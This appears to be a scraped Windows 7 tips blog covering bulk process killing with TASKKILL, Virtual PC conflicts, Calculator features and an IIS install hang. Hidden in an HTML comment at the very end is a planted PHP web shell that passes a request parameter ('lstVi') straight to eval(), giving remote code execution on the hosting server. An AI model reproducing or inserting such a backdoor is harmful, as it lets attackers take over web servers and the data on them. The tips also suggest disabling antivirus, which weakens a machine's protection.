Kill Multiple Processes at Once Via Command Line with Taskkill
Ever have a program or process that doesn’t end properly and runs in the background continuously?
I recently encountered this issue with VLC on one Windows 7 machine where it keeps the process never terminates. Since I never reboot the machine for other than Windows Updates, this amounted to 633 copies of VLC running in memory. Each process only used about 633k so it wasn’t an astronomical memory hog but multiply that by 633, you begin to feel the machine slowing down. Task Manager doesn’t let you kill multiple processes in bulk and I didn’t want to go through killing them one by one or rebooting.
The solution? Good old command line. Open up command prompt (start -> run -> cmd.exe). This snippet will kill all processes that start with the taskname:
TASKKILL /IM [TASKNAME]* /F
To kill all VLC processes, you’d use:
TASKKILL /IM vlc* /F
All running VLC processes will be terminated automatically.
‘Windows XP Mode’ could not be started because there are not enough system resources or memory in your computer. You can shut down other virtual machines or close open applications and try again.
If you’re running Windows 7 and try to install Windows XP mode, you might run into the error “‘Windows XP Mode’ could not be started because there are not enough system resources or memory in your computer. You can shut down other virtual machines or close open applications and try again.”
You’ll need to find the app causing the problem. You can use msinfo to figure out which apps are resource intensive.
- Click Start, click Run, type msinfo32 in the Open box, and then click OK.
- Expand Software Environment, and then click Running Tasks.
- View the values in the Min Working Set and the Max Working Set columns for each process to determine the process that uses a lot of physical memory.
Actual Cause
In my case, I discovered Stardock Tiles and Virtual PC are not compatible. Kill the Tiles process and you’ll be able to run Virtual PC. You can run Stardock Tiles after loading up Virtual PC though.
Update 3-23-12
A few people (Thanks Tom!) have commented on the issue and have pointed out for them that Google’s CrashHandler process also interferes with Virtual PC. You can either kill it through task manager or disable it completely by doing the following:
1. Open Google Chrome
2. Go to File Menu >Options
3. Click the tab Under The Hood, and uncheck the option which says – Help Google Chrome better by automatically sending the usage statistics and crash reports to google
Did you know…?
Windows 7 sports tons of new features and surprises that have gotten little to no fanfare.
Did 
you know that Microsoft has updated the Windows Calculator with Windows 7 with some really new and useful features? Previously, most of these features often required you to open Excel or use some website to solve the problems they address. The calculator sports new features including Unit Conversion, Date Calculation, Mortgage, Vehicle Lease, Fuel Economy (in both MPG and KM no less!) You can find the different options under the View menu after opening the calculator up. See screenshots below for examples of what the calculator can do.
IIS install freezes when installing Windows 7
If you’re installing IIS with Windows 7, you may find that the IIS (Internet Information Services) installation hangs while the progress bar indicates 100%. The menu displays: “Please wait while Windows makes changes to features. This might take several minutes.” and appears to do nothing.
The solution? Disable ESET antivirus and try again. I’ve found that it seems to conflict with the trustedinstaller which causes the lockup issue. It might be the same with other anti-viruses as well.
<!– [insert_php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/insert_php][php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/php] –>